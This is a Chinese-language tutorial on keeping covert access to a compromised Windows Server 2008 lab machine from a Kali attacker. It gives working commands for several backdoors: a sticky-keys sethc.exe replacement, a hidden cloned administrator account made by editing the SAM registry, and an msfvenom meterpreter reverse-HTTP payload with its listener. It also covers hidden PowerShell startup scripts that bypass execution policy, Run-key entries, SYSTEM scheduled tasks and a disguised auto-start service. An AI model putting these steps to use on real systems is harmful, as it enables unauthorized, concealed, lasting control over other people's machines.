14.Windows权限维持
Windows权限维持
环境:
- Windows Server2008(靶机机)
- kali(攻击机)
1.服务器入侵流程
信息收集、漏洞扫描、渗透攻击、提权、后渗透、持续控制
2.shfit后门维持
粘滞键概念:
粘滞键漏洞,在Windows系统下连续按5下SHIFT键,可以启动系统的粘滞键功能,其进程名为Sethc.exe,应用程序在C:\Windows\system32下。
shfit后门原理:
通过将其他应用程序(如:cmd.exe、或者木马、病毒)将Sethc.exe这个可执行程序进行替换。当再次连续按5次SHIFT键,就会以system权限运行替换后的应用程序。
操作方式:
复制cmd.exe为sethc.exe
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
如果权限不够需要更改文件权限,如下命令
takeown /f c:\windows\system32\*.* /a /r /d y
cacls c:\windows\system32\*.* /T /E /G administrators:F
3.克隆账号维持
隐藏账户:
顾名思义就是计算机上看不到的用户,在一个用户后面添加$符号,如(hack$)达到简单的隐藏用户目的,从而进行简单的权限维持。
1、添加隐藏用户
net user hack$ admin@123 /add
这样创建的隐藏用户,只有使用net user时可以隐蔽,在登录界面、计算机管理、控制面板、注册表中都可以查到。
2、在注册表操作进行用户隐藏
打开注册表regedit
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\
导出之前创建的hack$用户注册表文件
复制administrator中的F键值
将复制的值,粘贴到hack$对应的F值中
将hack$对应的数据导出来
通过这样的方法,隐藏用户,只有到HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\下才能看见hack$用户。
遇到的问题:当我使用windows server2008去查注册表时,只能查到HKEY_LOCAL_MACHINE\SAM\SAM,后面的文件夹没有看见。
解决方法:当点击到SAM时无法看见后面的文件,需要右键设置权限,把管理员权限设置为可读可写,然后重新打开注册表。
4.启动项维持
启动项,操作系统在启动的时候,自动加载了很多程序。会在前台或者后台运行,进程表中出现了很多的进程。也许有病毒或木马在自启动行列。
添加启动项的方式:
1、组策略
可以通过利用组策略开机启动脚本
在运行框中输入“gpedit.msc”,打开组策略
在【Windows设置】->【脚本(启动/关机)】双击【启动】就可以进行设置
选择要添加的脚本或者PowerShell
用msf生成一个powershell的木马
反弹shell木马生成
(1)机器名和IP地址
Windows Server 2008 192.168.142.134
kali 192.168.142.128
(2)运行
msfvenom -p windows/x64/meterpreter/reverse_http lhost=192.168.142.128 lport=3333 -f psh -o 1.ps1
(3)在目标服务器进行下python -m http.server 8000
(4)创建一个1.bat脚本,并且添加到组策略【脚本】中
bat脚本内容如下:
@echo off
powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\phpstudy_pro\WWW\shell\shell.ps1
exit
(5)kali运行msf进行监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set LHOST 192.168.13.128
set LPORT 3333
run
(6)重启server2008机器
2、启动文件夹
启动文件夹里面的文件可以会在开机的时候自动启动。
通过开始菜单---所有程序---启动 这个文件夹内,可以将程序开机自启动。
启动文件夹:
C: \ProgramData\Microsoft\Windows\Start Menu\Programs\Startup #系统级,需要system权限
C: \Users\用户名\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup #用户级
组策略脚本启动文件夹:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff
3、注册表
注册表(Registry,繁体中文版Windows操作系统称之为登录档)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。
(1)打开注册表
HKEY_LOCAL_MACHINE类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_CURRENT_USER类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
(2)使用reg add 命令进行添加
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\phpstudy_pro\WWW\shell\1.bat"
5.计划任务维持
计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。任务计划可以在每次系统启动的时候启动并在后台运行。
(1)打开计划任务
1、【管理工具】--->【任务计划程序】
2、【控制面板】--->系统和安全--【计划任务】
3、【taskschd.msc】命令
(2)生成计划任务
使用schtasks命令
/Create 创建新计划任务。
/Delete 删除计划任务。
使用以下命令进行测试
1、在每个任意用户登录中以SYSTEM的形式执行计划任务:
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onlogon /ru System
2、在系统启动期间或用户会话处于非活动状态(空闲模式)时执行
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onidle /i 30
3、在系统启动的时候以SYSTEM的形式执行计划任务:
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onstart /ru System
4、计划任务以 System 权限每10分钟运行一次
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc minute/mo 10 /ru system
利用当系统开机的时候运行计划任务进行权限维持
schtasks /create /tn shell /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\1.ps1" /sc onstart /ru System
6.系统服务维持
服务:
能够创建在操作系统自己的 Windows 会话中可长时间运行的可执行应用程序。
这些服务可以在计算机启动时自动启动,可以暂停和重新启动而且不显示任何用户界面。
创建服务:
sc命令
用法: sc create [service name] [binPath= ] ...
1、创建服务
sc create shell start= auto binPath= "C:\phpstudy_pro\WWW\1.exe" obj= Localsystem
2、查看服务是否已经创建
services.msc
3、修改正常的名称和描述
sc description "shell" "安全"
4、启动服务
net start "服务名"